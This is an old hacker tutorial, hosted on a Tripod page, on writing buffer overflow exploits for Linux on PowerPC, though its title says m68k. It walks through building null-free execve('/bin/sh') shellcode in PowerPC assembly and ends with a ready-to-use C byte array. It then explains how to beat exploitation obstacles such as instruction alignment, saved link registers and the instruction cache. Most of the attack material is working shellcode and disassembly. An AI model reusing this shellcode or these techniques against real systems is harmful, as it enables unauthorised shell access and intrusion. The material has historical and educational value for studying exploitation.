m68k buffer overflows -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- by lamagra ---[ Introduction I looked into linuxppc overflows because: 1) Nobody had ever done it (that i know of) 2) The crack.linuxppc.org game (i like wargames) Before i could get started with my research i needed a box to work on, lockdown (aka bladerhater) gave me access to his linuxppc (Thanks and greets to him). Next i needed some background and architecture information, i found a huge architecture guide with a full instruction set included. Finally i got started with making shellcode. --[ shellcode For the shellcode i used the same technique as the x86 shellcode: jmp - call - pop address - start shell I had to change this a little because a powerpc doesn't like the stack that much. (Would be dumb too, with more than 30 registers). So i started coding my asm program. After 10 min i got myself this working code:
: 7c 00 00 50 subf r0,r0,r0 # r0 = r0 - r0 48 00 00 21 bl 1800404 # call
7c 88 02 a6 mflr r4 # load address 90 9f 00 08 stw r4,8(r31) # store word r4 90 1f 00 0c stw r0,12(r31) # store word r0 (== null) 80 7f 00 08 lwz r3,8(r31) # load address of 8(r31) into r3 38 9f 00 08 addi r4,r31,8 # r4 = r31 + 8 38 00 00 0b li r0,11 # r0 = 11 44 00 00 02 sc # systemcall 4b ff ff e5 bl 18003e8 # call
2f 62 69 6e cmpdi cr6,r2,26990 # /bin 2f 73 68 00 cmpdi cr6,r19,26624 # /sh But as you can see it has a lot of null's in it, i really didn't like the null's in the systemcall instruction. After a tip (thanx nuuB), i knew that those null's were reserved bits. They could be changed into something else without trouble. Changes: from -> to subf r0,r0,r0 xor r30,r30 stw r4,8(r31) stw r4,264(r31) stw r0,12(r31) stw r30,268(r31) lwx r4,8(r31) lwz r4,264(r31) addi r4,r31,8 addi r4,r31,264 sc .long 0x44010102 This leaves the first "bl" and the "li" instruction. li: You could write -(the number) into the register and then negate it. So, lis r30,-1 ori r30,r30,65525 (65525 = 65536 - 11) nego r0,r30 bl: There are mutiple ways for getting around this, but size does matter (in this situation :-) You could easily add some nops in between to make the jump-address bigger and getting rid of those null's. But that would be taking the easy way out :). After a conversation about my teensy portbinding shellcode, i realized i could use to give my code its own location (when overwritten with the same value). Add the code's size to the framepointer (r31) and you have the address of "/bin/sh". newbie note: stack at overflow time: [buffer] ... end note All put together gives: c: 38 9f 01 2d addi r4,r31,301 10: 38 84 fe ff addi r4,r4,-257 14: 7f de f2 78 xor r30,r30,r30 18: 90 81 01 08 stw r4,264(r1) 1c: 93 c1 01 0c stw r30,268(r1) 20: 80 61 01 08 lwz r3,264(r1) 24: 38 81 01 08 addi r4,r1,264 28: 3f c0 ff ff lis r30,-1 2c: 63 de ff f5 ori r30,r30,65525 30: 7c 1e 04 d0 nego r0,r30 34: 44 01 01 02 .long 0x44010102 38: 2f 62 69 6e cmpdi cr6,r2,26990 3c: 2f 73 68 00 cmpdi cr6,r19,26624 */ #define CODESIZE 51 char ppc_code[] = "\x38\x9f\x01\x2d\x38\x84\xfe\xff\x7f\xde\xf2\x78\x90\x81\x01\x08\x93\xc1\x01" "\x0c\x80\x61\x01\x08\x38\x81\x01\x08\x3f\xc0\xff\xff\x63\xde\xff\xf5\x7c\x1e" "\x04\xd0\x44\x01\x01\x02/bin/sh"; Problems: we use the framepointer so the overflow has to be exact. We can't use nops or we would have to know the exact length of them (This would probably be the case since every instruction is 4 bytes, alignment is *really* important). At the end of this file, you'll find an other shellcode (coded by nuuB) which doesn't use the framepointer but is double in size. ---[ Overflow problems Buffer overflows are exploited the same way as on x86,etc. but: *note: every problem will be discussed in detail below. * alignment is more important * functions have to be used inside the vunerable function * the location of the * "dirty" instruction cache has to be cleaned -----[ alignment Every instruction is a multiple of 4 bytes. When we return of a faulty address the code will most likely cause a SIGILL. *note: nop = "\x60\x00\x00\x00". The null's are reserved as well, one could change them into 0x60 (easy to put in). *end note ------[ functions The return address of a function is saved in the link register (lr), when a new function is called it is saved on the stack for later use. If not, the link register is used to return (no overwriting possible). The case of this happening is really small tho. ------[ Where is the damned ??? I've noticed that in some situations the distance between and the top buffer varies. I found a distance of 80 ones, other 40,8. I haven't looked into this because i doesn't really matter. ------[ Instruction cache The biggest problem of them all would be the "dirty" i-cache. The shellcode can't be executed unless the i-cache is cleaned first. There isn't any cleaning code inside the program we can call/use. Solutions: After a user/kernel/user call the cache is clean. 1) You could insert the shellcode before the overflow, after a syscall the cache would be clean. And it can be executed. 2) Redirect the execution through libc (syscall wrapper) This can be done by using framepointer and intruction pointer at the same time: instruction pointer = address of wrapper framepointer points to a location with the shellcode address
Make your own free website on Tripod.com